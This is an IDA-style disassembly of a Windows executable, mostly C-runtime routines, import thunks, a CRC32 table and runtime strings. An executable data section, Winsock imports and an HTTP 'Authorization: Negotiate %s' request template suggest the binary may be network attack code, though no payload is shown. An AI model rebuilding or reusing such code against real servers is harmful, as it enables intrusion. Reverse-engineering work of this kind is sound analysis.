		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_48A308
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		call	ds:dword_424028	; GetStringTypeW
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------

loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	edi
		call	ds:dword_42402C	; GetStringTypeA
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax

loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	ds:dword_48A308, eax

loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_424028	; GetStringTypeW
		jmp	loc_4230B6
; ---------------------------------------------------------------------------

loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, ds:dword_48A0B8
		mov	[ebp+arg_10], eax

loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	ds:dword_424150	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	ds:dword_424150	; WideCharToMultiByte
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, ds:dword_48A0A8

loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_42402C	; GetStringTypeA
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------

loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax

loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: _1:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40445C
sub_4230C8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4230E6
		mov	ecx, [ebp+8]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

locret_4230E6:				; CODE XREF: _0:004230D8j
		retn
; ---------------------------------------------------------------------------

loc_4230E7:				; DATA XREF: sub_404032o
		mov	eax, offset dword_424EE8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_4230FC:				; DATA XREF: _1:00424F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423104:				; DATA XREF: sub_4041D4o
		mov	eax, offset dword_424F18
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		align 10h

loc_423110:				; DATA XREF: sub_40473Fo
		mov	eax, offset dword_424F48
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423122:				; DATA XREF: sub_4227EEo
		mov	eax, offset dword_424FA8
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_423134:				; DATA XREF: sub_422863o
		mov	eax, offset dword_425040
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423146:				; DATA XREF: sub_4228C0o
		mov	eax, offset dword_425064
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_422BA6
; ---------------------------------------------------------------------------

loc_423158:				; DATA XREF: sub_422908o
		mov	eax, offset dword_425088
		jmp	loc_417F4B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40445C
; ---------------------------------------------------------------------------

loc_42316A:				; DATA XREF: sub_42298Ao
		mov	eax, offset dword_4250E8
		jmp	loc_417F4B
_0		ends

; Section 2. (virtual address 00024000)
; Virtual size			: 00001C3C (   7228.)
; Section size in file		: 00001C3C (   7228.)
; Offset to raw	data for section: 00024000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_1		segment	para public 'CODE' use32
		assume cs:_1
		;org 424000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
off_424000	dd offset sub_49C51C	; DATA XREF: sub_40AAFA+36r
dword_424004	dd 77E6BD68h		; DATA XREF: sub_422492+173r
dword_424008	dd 77E77F2Eh		; DATA XREF: sub_4221EA+3Er
					; sub_4221EA+261r
dword_42400C	dd 77E762D0h		; DATA XREF: sub_4221EA+5Br
					; sub_4221EA+B9r
dword_424010	dd 77E70192h		; DATA XREF: sub_4211F1+F9r
dword_424014	dd 77E7176Ch		; DATA XREF: sub_42090A+8r
dword_424018	dd 77E7339Ch		; DATA XREF: sub_4208D2+Cr
off_42401C	dd offset sub_49AC54	; DATA XREF: sub_4208B4+5r
					; sub_4208C5+6r
dword_424020	dd 77E73FF9h		; DATA XREF: sub_41FE6F+2Cr
dword_424024	dd 77E7FF2Eh		; DATA XREF: sub_41FD41:loc_41FD91r
					; sub_41FDB8:loc_41FE0Br
dword_424028	dd 77E7C866h		; DATA XREF: sub_41FB63+3Fr
					; sub_41FB63+12Dr ...
dword_42402C	dd 77E641EBh		; DATA XREF: sub_41FB63+59r
					; sub_41FB63+8Dr ...
dword_424030	dd 77E78406h		; DATA XREF: sub_41F5BF+FFr
					; sub_41F5BF+166r ...
dword_424034	dd 77E79C3Dh		; DATA XREF: sub_41F5BF+158r
					; sub_41F885+143r
dword_424038	dd 77E7C931h		; DATA XREF: sub_41F5BF+19Dr
dword_42403C	dd 77E77EE1h		; DATA XREF: sub_41F48D+9r
dword_424040	dd 77E67702h		; DATA XREF: sub_41F48D:loc_41F4BCr
					; sub_41F48D+E1r
dword_424044	dd 77E7C9E1h		; DATA XREF: sub_41F48D+CEr
dword_424048	dd 77E9C5B1h		; DATA XREF: sub_41F48D+11Fr
dword_42404C	dd 77EB9A84h		; DATA XREF: sub_41EFAB+138r
dword_424050	dd 77E6C703h		; DATA XREF: sub_41EAC6+1Ar
dword_424054	dd 77E73C49h		; DATA XREF: sub_401000+ADr
					; sub_40144A+95r ...
dword_424058	dd 77E7751Ah		; DATA XREF: sub_401000+27r
					; sub_40144A+1A6r ...
dword_42405C	dd 77E802FCh		; DATA XREF: sub_4010B5+18Cr
					; sub_4010B5+2D4r ...
dword_424060	dd 77E6D75Bh		; DATA XREF: sub_4010B5+182r
					; sub_401A76+FFr
dword_424064	dd 77E61BE6h		; DATA XREF: sub_4018D0+9Ar
					; sub_4023A7+5Dr ...
dword_424068	dd 77E704FCh		; DATA XREF: sub_4022C6+20r
					; sub_40B8D8+183r ...
dword_42406C	dd 77E70F89h		; DATA XREF: sub_4022C6+Er
					; sub_40BF6D+Dr ...
dword_424070	dd 77E77CCEh		; DATA XREF: sub_4029E9+66r
					; sub_402ACC+65r ...
off_424074	dd offset sub_49C3FC	; DATA XREF: sub_402DD7+135r
					; sub_40494F+1A9r ...
off_424078	dd offset sub_49C3D5	; DATA XREF: sub_402DD7+120r
					; sub_402DD7+150r ...
dword_42407C	dd 77E79D8Ch		; DATA XREF: sub_402DD7+103r
					; sub_404861+94r ...
dword_424080	dd 77E73EACh		; DATA XREF: sub_402DD7+E9r
off_424084	dd offset sub_49C2B0	; DATA XREF: sub_402DD7+68r
					; sub_40494F+A7r ...
dword_424088	dd 77E79D5Bh		; DATA XREF: sub_40494F+4BCr
					; sub_40E6A9+68r ...
dword_42408C	dd 77F5157Dh		; DATA XREF: sub_40494F+4A3r
					; sub_4060D0+289r ...
dword_424090	dd 77E737DEh		; DATA XREF: sub_40494F+43Ar
off_424094	dd offset sub_49BA24	; DATA XREF: sub_405A58+18r
					; sub_407252+58r ...
dword_424098	dd 77E64106h		; DATA XREF: sub_405F4D+A0r
					; sub_40B8D8+1B6r
dword_42409C	dd 77E64006h		; DATA XREF: sub_405F4D+8Cr
					; sub_40B8D8+19Fr
dword_4240A0	dd 77E7AC37h		; DATA XREF: sub_4060D0+254r
					; sub_407252+10Er ...
off_4240A4	dd offset sub_49B9EC	; DATA XREF: sub_4060D0+1F5r
					; sub_406A0D+38r ...
off_4240A8	dd offset sub_49B7AF	; DATA XREF: sub_4060D0+110r
					; sub_40AC42+10Fr ...
off_4240AC	dd offset sub_49B5FF	; DATA XREF: sub_406387+5ECr
					; sub_408EE5+C0r ...
dword_4240B0	dd 77E79424h		; DATA XREF: sub_406387+280r
					; sub_409392+135r
dword_4240B4	dd 77E794BFh		; DATA XREF: sub_406387+272r
					; sub_409392+123r
off_4240B8	dd offset sub_49B626	; DATA XREF: sub_406387+212r
					; sub_406387+5DBr ...
off_4240BC	dd offset sub_49B334	; DATA XREF: sub_406387+201r
					; sub_408EE5+26r
off_4240C0	dd offset sub_49C460	; DATA XREF: sub_406A0D+6Cr
					; sub_40C512+259r ...
dword_4240C4	dd 77F7E300h		; DATA XREF: sub_407767+142r
dword_4240C8	dd 77F7E21Fh		; DATA XREF: sub_407767+D7r
dword_4240CC	dd 77E7C706h		; DATA XREF: sub_40797F+77r
dword_4240D0	dd 77F53275h		; DATA XREF: sub_40797F+6Br
					; sub_40797F+22Fr
off_4240D4	dd offset sub_49C18D	; DATA XREF: sub_409037+170r
dword_4240D8	dd 77E78147h		; DATA XREF: sub_409037+BCr
off_4240DC	dd offset sub_49C076	; DATA XREF: sub_409037+60r
					; sub_40981F+11r ...
off_4240E0	dd offset sub_49BE83	; DATA XREF: sub_409037+5Ar
					; sub_40981F+13Ar ...
dword_4240E4	dd 77F51597h		; DATA XREF: sub_409209+41r
					; sub_409209+F5r ...
dword_4240E8	dd 77F516F8h		; DATA XREF: sub_409209+21r
					; sub_409392+4Ar ...
dword_4240EC	dd 77E77CB7h		; DATA XREF: sub_409209+10r
					; sub_409392+40r ...
dword_4240F0	dd 77E7F01Ah		; DATA XREF: sub_409392+88r
					; sub_409539+55r
dword_4240F4	dd 77E61A54h		; DATA XREF: sub_409392+56r
					; sub_409539+97r
dword_4240F8	dd 77E7C3A5h		; DATA XREF: sub_409392+34r
					; sub_409539+2Er
dword_4240FC	dd 77E706B7h		; DATA XREF: sub_409392+15r
					; sub_409539+13r ...
off_424100	dd offset sub_49BF8C	; DATA XREF: sub_40981F+2r
					; sub_40AC42+FBr ...
dword_424104	dd 77E76A60h		; DATA XREF: sub_40AA35+2Dr
dword_424108	dd 77E71B14h		; DATA XREF: sub_40AABF+26r
dword_42410C	dd 77E7166Fh		; DATA XREF: sub_40AABF+1Dr
off_424110	dd offset sub_49C55B	; DATA XREF: sub_40AAFA+69r
off_424114	dd offset sub_49C4A4	; DATA XREF: sub_40AAFA+25r
dword_424118	dd 77E7011Ah		; DATA XREF: sub_40AB7C+96r
dword_42411C	dd 77E73CE2h		; DATA XREF: sub_40AB7C+60r
dword_424120	dd 77E61BB8h		; DATA XREF: sub_40AC42+17Er
					; sub_40B56C+F0r ...
dword_424124	dd 77E668D9h		; DATA XREF: sub_40AC42+15Dr
dword_424128	dd 77E70396h		; DATA XREF: sub_40AC42+126r
					; sub_40E6A9+1B5r ...
dword_42412C	dd 77E6AD34h		; DATA XREF: sub_40AC42+35r
					; sub_40EE72+3E60r
dword_424130	dd 77E7FF65h		; DATA XREF: sub_40B417+5Ar
dword_424134	dd 77EB7624h		; DATA XREF: sub_40B417+3Dr
dword_424138	dd 77E79CE3h		; DATA XREF: sub_40B56C+91r
					; sub_41680E+77r
dword_42413C	dd 77E79C90h		; DATA XREF: sub_40B56C+79r
					; sub_41511D+Cr ...
dword_424140	dd 77E7727Ah		; DATA XREF: sub_40B56C+3Br
					; sub_416715+23r
dword_424144	dd 77E7C657h		; DATA XREF: sub_40B78A+1Dr
					; sub_40B8D8+24r ...
dword_424148	dd 77E76C1Ah		; DATA XREF: sub_40B8D8+1CFr
off_42414C	dd offset sub_49B0C8	; DATA XREF: sub_40CAF1+478r
					; sub_40D3A5+DFr ...
dword_424150	dd 77E79924h		; DATA XREF: sub_40DBB0+13r
					; sub_41E709+20Dr ...
dword_424154	dd 77E65F4Ch		; DATA XREF: sub_40E5EB+34r
					; _0:00415A68r
dword_424158	dd 77E73628h		; DATA XREF: sub_40E6A9+329r
					; sub_40EE72+4AC7r ...
dword_42415C	dd 77E80656h		; DATA XREF: sub_40E6A9+258r
dword_424160	dd 77E6BD13h		; DATA XREF: sub_40E6A9:loc_40E864r
dword_424164	dd 77E7C2C4h		; DATA XREF: sub_40E6A9+61r
dword_424168	dd 77E75CEBh		; DATA XREF: sub_40EE72+4D38r
					; sub_4165C4+9Fr ...
dword_42416C	dd 77E71AFEh		; DATA XREF: sub_40EE72+3C5Br
dword_424170	dd 77E616B4h		; DATA XREF: sub_415188+184r
					; sub_415417+1Fr ...
dword_424174	dd 77E76968h		; DATA XREF: sub_41570C+5Fr
dword_424178	dd 77E7513Ch		; DATA XREF: _0:00415AFFr
dword_42417C	dd 77E6C29Dh		; DATA XREF: sub_4162AA+1EBr
dword_424180	dd 77E74C59h		; DATA XREF: sub_4165C4+C7r
dword_424184	dd 77EC7C51h		; DATA XREF: sub_416999+5Er
dword_424188	dd 77F6183Eh		; DATA XREF: sub_422A4Cr
dword_42418C	dd 77E76E3Dh		; DATA XREF: sub_4186B1+6Cr
					; sub_42094E+38r
dword_424190	dd 77E61608h		; DATA XREF: sub_4186B1+17r
dword_424194	dd 77F5722Fh		; DATA XREF: sub_41944F+110r
					; sub_41944F+22Dr ...
dword_424198	dd 77E6177Ah		; DATA XREF: _0:00419C83r
					; sub_41F5BF+59r
dword_42419C	dd 77E7C938h		; DATA XREF: _0:00419C58r
dword_4241A0	dd 77E7C486h		; DATA XREF: _0:00419C0Ar
dword_4241A4	dd 77E7AC5Eh		; DATA XREF: sub_41AB9C+54r
dword_4241A8	dd 77E76E0Bh		; DATA XREF: sub_41ACE4+50r
dword_4241AC	dd 77E7C726h		; DATA XREF: sub_41ACE4+11r
dword_4241B0	dd 77E79E34h		; DATA XREF: sub_41ADB4+240r
					; sub_41B888+120r ...
dword_4241B4	dd 77E7980Ah		; DATA XREF: sub_41B3E6+76r
					; sub_41B497+51r ...
dword_4241B8	dd 77E73196h		; DATA XREF: sub_4208EE+Cr
dword_4241BC	dd 77E6D706h		; DATA XREF: sub_41C040+215r
					; sub_422BC9+2Er
dword_4241C0	dd 77F522F2h		; DATA XREF: sub_41D5A8+58r
dword_4241C4	dd 77E77405h		; DATA XREF: sub_41E709+5Er
					; sub_41E709+A7r ...
dword_4241C8	dd 77E781F9h		; DATA XREF: sub_41E709+42r
					; sub_41E709+14Dr ...
dword_4241CC	dd 77E7849Fh		; DATA XREF: sub_41E92D+48r
					; sub_41EB6C+14r ...
dword_4241D0	dd 77E7A13Fh		; DATA XREF: sub_41EAC6+2Fr
		align 8
dword_4241D8	dd 71B2ACCBh		; DATA XREF: sub_422A40r
		align 10h
dword_4241E0	dd 71AB41DAh		; DATA XREF: sub_4053D5+47r
					; sub_4059DB+15r
dword_4241E4	dd 71AB3F8Dh		; DATA XREF: sub_4053D5+8Dr
dword_4241E8	dd 71AB3ECEh		; DATA XREF: sub_4053D5+C4r
dword_4241EC	dd 71AB5DE2h		; DATA XREF: sub_4053D5+D8r
dword_4241F0	dd 71AB868Dh		; DATA XREF: sub_4053D5+180r
dword_4241F4	dd 71AB8629h		; DATA XREF: _0:004053C1r
dword_4241F8	dd 71AB2BBFh		; DATA XREF: _0:0040528Er
dword_4241FC	dd 71AB12F8h		; DATA XREF: sub_404E54+27r
					; sub_404F9A+27r ...
dword_424200	dd 71AB1836h		; DATA XREF: sub_4059DB+6Er
					; sub_405A58+8Er
dword_424204	dd 71AB5690h		; DATA XREF: sub_404E54+6Ar
					; sub_404F9A+6Ar ...
dword_424208	dd 71AB1AF4h		; DATA XREF: sub_403F94+12r
					; sub_404E54+C3r ...
dword_42420C	dd 71AB1890h		; DATA XREF: sub_403DF6+4Cr
					; sub_4053D5+115r
dword_424210	dd 71AB1B7Bh		; DATA XREF: sub_422A46r
dword_424214	dd 71AB3C22h		; DATA XREF: sub_4018D0+59r
					; _0:0040433Cr	...
dword_424218	dd 71AB155Ah		; DATA XREF: sub_4018D0+70r
					; sub_4053D5+9Dr
dword_42421C	dd 71AB3E5Dh		; DATA XREF: sub_4018D0+8Cr
					; sub_404E54+59r ...
dword_424220	dd 71AB1A6Dh		; DATA XREF: sub_4018D0+AAr
					; sub_404E54+E0r ...
dword_424224	dd 71AB1746h		; DATA XREF: sub_404E54+36r
					; sub_404F9A+36r ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_424270	dq 1.388888888888889e-2	; DATA XREF: sub_403FE6+2Fr
dbl_424278	dq 1.666666666666667e-1	; DATA XREF: sub_403FE6+15r
dword_424280	dd 0FFFFFFFFh		; DATA XREF: sub_404032+16Fr
					; sub_404464r ...
		align 8
dbl_424288	dq 1.333333333333333	; DATA XREF: sub_404032+79r
dword_424290	dd 0			; DATA XREF: sub_4041D4+4Do
					; sub_404514+5Bo ...
flt_424294	dd 5.0e-1		; DATA XREF: sub_40494F+398r
dword_424298	dd 0			; DATA XREF: sub_40C21E+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_424698	dq 9.765625e-4		; DATA XREF: sub_40CAF1+2BDr
					; sub_40CAF1+2D8r ...
dbl_4246A0	dq -3.0517578125e-5	; DATA XREF: sub_41544E+1Er
dbl_4246A8	dq 1.0			; DATA XREF: sub_417CA4+6Cr
					; sub_417DEB+6Cr ...
dword_4246B0	dd 0FFFFFFFFh, 419CBBh,	419CCFh	; DATA XREF: _0:00419BE9o
byte_4246BC	db 6			; DATA XREF: sub_419E38:loc_419E8Fr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: _2:off_43959Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: _2:off_439598o
		align 10h
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41AB9C+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41AB9C+4Fo
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: _2:off_43B7ECo
		align 8
dbl_424818	dq 0.0			; DATA XREF: sub_41C2F3+8Cr
					; sub_41C2F3+ACr ...
dbl_424820	dq 4.195835e6		; DATA XREF: sub_41C808+Fr
dbl_424828	dq 3.145727e6		; DATA XREF: sub_41C808+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C846o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_41C96D+93o
		align 10h
dword_424860	dd 0FFFFFFFFh, 41D058h,	41D062h, 0 ; DATA XREF:	sub_41CFF1+5o
dword_424870	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D120+5o
		dd offset loc_41D1DE
		align 10h
		dd offset sub_41D1BC
		dd offset sub_41D1C6
dword_424888	dd 0FFFFFFFFh, 41D40Eh,	41D412h, 0 ; DATA XREF:	sub_41D256+5o
dword_424898	dd 0FFFFFFFFh, 41D470h,	41D479h, 0 ; DATA XREF:	sub_41D41A+5o
dword_4248A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D4FC+5o
		dd offset loc_41D54D
		align 8
		dd offset loc_41D539
		dd offset loc_41D53D
dword_4248C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D552+5o
		dd offset loc_41D5A3
		align 10h
		dd offset loc_41D58F
		dd offset loc_41D593
dword_4248D8	dd 2 dup(0)		; DATA XREF: sub_41E709+36o
					; sub_41FB63+39o ...
dword_4248E0	dd 0FFFFFFFFh, 41E819h,	41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h
					; DATA XREF: sub_41E709+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
